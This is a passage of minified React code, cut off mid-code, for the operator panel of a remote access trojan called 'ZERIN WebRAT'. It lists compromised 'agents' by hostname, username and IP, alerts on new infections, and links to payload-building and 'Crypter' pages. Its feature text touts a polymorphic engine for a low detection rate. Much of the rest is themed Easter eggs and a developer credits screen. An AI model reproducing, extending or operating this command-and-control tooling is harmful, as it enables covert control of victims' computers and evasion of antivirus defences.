yg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],bg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function ZE(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(a){const f=yg[Math.floor(Math.random()*yg.length)];i.textContent=f,i.style.cssText=` position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; font-size:${10+Math.random()*14}px; --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; animation-delay:${Math.random()*.08}s; `}else{const f=bg[Math.floor(Math.random()*bg.length)],m=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; width:${m}px;height:${h}px;background:${f}; border-radius:${Math.random()>.5?"50%":"1px"}; --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; animation-delay:${Math.random()*.06}s; `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const wg=["❤️","💖","💗","💕","♥️","🌸"];let jg=0;function QE(e,t){const n=Date.now();if(n-jg<60)return;jg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=wg[Math.floor(Math.random()*wg.length)];const i=(Math.random()-.5)*24,a=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${a}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function kg(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function Ng(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const Sg=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function JE(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=Sg[Math.floor(Math.random()*Sg.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function eA(){const[e,t]=p.useState(()=>{try{return localStorage.getItem(Of)==="true"}catch{return!1}}),n=p.useRef(0),r=p.useRef();p.useEffect(()=>{const a=document.documentElement.classList;return e?(a.add("femboy-theme"),kg()):(a.remove("femboy-theme"),Ng()),()=>{a.remove("femboy-theme"),Ng()}},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{ZE(o.clientX,o.clientY)};return document.addEventListener("click",a,!0),()=>document.removeEventListener("click",a,!0)},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{QE(o.clientX,o.clientY)};return document.addEventListener("mousemove",a),()=>document.removeEventListener("mousemove",a)},[e]),p.useEffect(()=>{if(!e)return;const a=()=>{JE(),o=setTimeout(a,8e3+Math.random()*7e3)};let o=setTimeout(a,3e3);return()=>clearTimeout(o)},[e]);const i=p.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},KE),e){if(n.current>=gg){n.current=0,t(!1);try{localStorage.removeItem(Of)}catch{}YE()}return}if(n.current>=15&&GE(n.current-14),n.current>=gg){n.current=0,t(!0);try{localStorage.setItem(Of,"true")}catch{}qE(),XE(),kg()}},[e]);return{isActive:e,handleStatusClick:i}}const zg=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function tA(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),a=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.08,t+.1),a.gain.setValueAtTime(.08,t+.8),a.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(a).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function nA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function rA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` position:absolute;left:0;right:0;height:2px; top:${n*13}%; background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; opacity:0; animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,a=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` position:absolute;left:${a}%;top:${o}%; width:${i}px;height:${i}px; background:${u};border-radius:50%; box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; --synth-dx:${l}px;--synth-dy:${c}px; animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let Cg=0,Tf=0;function iA(e,t){const n=Date.now();if(n-Cg<40)return;Cg=n,Tf=(Tf+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=Tf<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function aA(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,a=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` left:${a}vw;width:${i}px;height:${i}px; clip-path:${o}; border:1.5px solid ${r}; box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; background:${r}08; `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function sA(){const[e,t]=p.useState(!1),n=p.useRef([]),r=p.useRef();return p.useEffect(()=>{function i(a){var u,d;const o=(u=a.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=a.target)!=null&&d.isContentEditable)return;const l=a.key.length===1?a.key.toLowerCase():a.key;n.current.push(l);const c=zg.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);zg.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?nA():(tA(),rA()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),p.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),p.useEffect(()=>{if(!e)return;const i=a=>iA(a.clientX,a.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),p.useEffect(()=>{if(!e)return;const i=()=>{aA(),a=setTimeout(i,5e3+Math.random()*5e3)};let a=setTimeout(i,2e3);return()=>clearTimeout(a)},[e]),{isActive:e}}const oA={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},lA={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},cA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},uA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},dA={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function Ku({status:e,size:t="md",showLabel:n=!1}){return s.jsxs("span",{className:"inline-flex items-center gap-2",children:[s.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block rounded-full ${oA[t]} ${cA[e]}`})]}),n&&s.jsx("span",{className:`font-mono font-medium tracking-wider ${lA[t]} ${uA[e]}`,children:dA[e]})]})}function fA({open:e,onClose:t,agents:n}){const[r,i]=p.useState(""),[a,o]=p.useState(0),l=p.useRef(null),c=Qn(),u=p.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(m=>m.hostname.toLowerCase().includes(f)||m.username.toLowerCase().includes(f)||m.internal_ip.includes(f)||m.external_ip.includes(f)||m.id.toLowerCase().includes(f)).slice(0,10).map(m=>({type:"agent",id:m.id,primary:m.hostname,secondary:`${m.username} — ${m.internal_ip}`,agent:m}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);p.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),p.useEffect(()=>{o(0)},[r]);const d=p.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return p.useEffect(()=>{if(!e)return;function f(m){if(m.key==="Escape"){t();return}m.key==="ArrowDown"&&(m.preventDefault(),o(h=>Math.min(h+1,u.length-1))),m.key==="ArrowUp"&&(m.preventDefault(),o(h=>Math.max(h-1,0))),m.key==="Enter"&&u[a]&&(m.preventDefault(),d(u[a]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,a,t,d]),e?s.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[s.jsx("div",{className:"absolute inset-0 bg-black/60"}),s.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),s.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),s.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?s.jsx("div",{className:"px-4 py-8 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):s.jsxs("div",{className:"py-1",children:[!r&&s.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,m)=>s.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(m),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${m===a?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&s.jsx(Ku,{status:f.agent.status,size:"sm"}),s.jsxs("div",{className:"min-w-0 flex-1",children:[s.jsx("p",{className:`text-sm font-medium truncate ${m===a?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),s.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),s.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let Fi={status:"idle",payloadName:"",startedAt:0,error:""};const lm=new Set;function qu(){lm.forEach(e=>e())}function Zj(){return Fi}function Qj(e){return lm.add(e),()=>lm.delete(e)}function pA(e){Fi={status:"building",payloadName:e,startedAt:Date.now(),error:""},qu()}function mA(){Fi={...Fi,status:"success"},qu()}function Pg(e){Fi={...Fi,status:"error",error:e},qu()}function Eg(){Fi={status:"idle",payloadName:"",startedAt:0,error:""},qu()}const Yu=p.createContext({lastMessage:null}),hA=[{to:"/dashboard",label:"Dashboard",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})}],xA={to:"/crypter",label:"Crypter",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},vA={to:"/admin",label:"Admin",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function gA(){const e=p.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return s.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>s.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function yA(){const{logout:e,isAdmin:t}=Xa(),r=p.useSyncExternalStore(Qj,Zj).status==="building",a=Uj()==="rat_crypter"||t,o=[...hA,...a?[xA]:[],...t?[vA]:[]],l=Qn(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:m,isSupported:h}=HE(),[x,g]=p.useState(!1),[y,v]=p.useState([]),{isActive:b,handleStatusClick:w}=eA(),{isActive:j}=sA(),[k,S]=p.useState(!1),N=p.useRef(""),z=p.useRef(null);p.useEffect(()=>{function U(K){var I,F;if(k||K.ctrlKey||K.metaKey||K.altKey)return;const R=(I=K.target)==null?void 0:I.tagName;R==="INPUT"||R==="TEXTAREA"||R==="SELECT"||(F=K.target)!=null&&F.isContentEditable||K.key.length===1&&(N.current+=K.key.toLowerCase(),N.current.length>20&&(N.current=N.current.slice(-10)),z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{N.current=""},3e3),N.current.includes("credits")&&(N.current="",S(!0)))}return window.addEventListener("keydown",U),()=>window.removeEventListener("keydown",U)},[k]),p.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const O=p.useCallback(async()=>{try{const U=await Hj();v(U)}catch{}},[]);p.useEffect(()=>{O();const U=setInterval(O,15e3);return()=>clearInterval(U)},[O]);const _=p.useCallback(U=>{if(U.type==="agent_update"){const K=U.payload;v(R=>{const I=R.findIndex(F=>F.id===K.id);if(I>=0){const F=[...R];return F[I]=K,F}return m("New Agent Connected",`${K.hostname} (${K.internal_ip})`),[K,...R]})}if(U.type==="event"){const K=U.payload;(K.type==="task_completed"||K.type==="task_failed")&&m("Task Update",K.message)}},[m]),{isConnected:T,lastMessage:E}=VE({onMessage:_});return p.useEffect(()=>{function U(K){(K.metaKey||K.ctrlKey)&&K.key==="k"&&(K.preventDefault(),g(R=>!R))}return window.addEventListener("keydown",U),()=>window.removeEventListener("keydown",U)},[]),s.jsx(Yu.Provider,{value:{lastMessage:E},children:s.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[s.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[s.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:s.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"femboy-ear femboy-ear-left"}),s.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),s.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),s.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),s.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r text-zerin-text-muted border border-zerin-panel-border\r hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Search..."}),s.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),s.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:U,label:K,icon:R})=>s.jsx(cE,{to:U,end:U==="/dashboard",className:({isActive:I})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 ${I?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:I})=>s.jsxs(s.Fragment,{children:[I&&s.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),s.jsx("span",{className:I?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:R}),s.jsx("span",{className:"font-medium",children:K}),U==="/payloads"&&r&&s.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},U))}),s.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&s.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),s.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),s.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),s.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r transition-colors duration-150`,children:[s.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[s.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),s.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),s.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),s.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:s.jsx(GP,{})}),s.jsx(fA,{open:x,onClose:()=>g(!1),agents:y}),b&&s.jsx(gA,{}),k&&s.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>S(!1),style:{animation:"credits-in 0.5s ease-out"},children:[s.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),s.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[s.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` _______ ______ ______ _____ __ _ / |______ |_____/ | | \\ | / |______ | \\_ __|__ | \\_| `}),s.jsxs("div",{className:"space-y-4 mb-10",children:[s.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),s.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),s.jsx("style",{children:` @keyframes credits-in { from { opacity: 0; } to { opacity: 1; } } @keyframes glitch-appear { 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } } @keyframes credits-glow { from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } } @keyframes credit-slide { from { opacity: 0; transform: translateY(15px); } to { opacity: 1; transform: translateY(0); } } `})]})]})})}const bA=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let k=0;k{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function wA(e,t=40,n=0){const r=p.useRef(null),i=p.useRef(null),[a,o]=p.useState(!1);return p.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:a}}const jA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 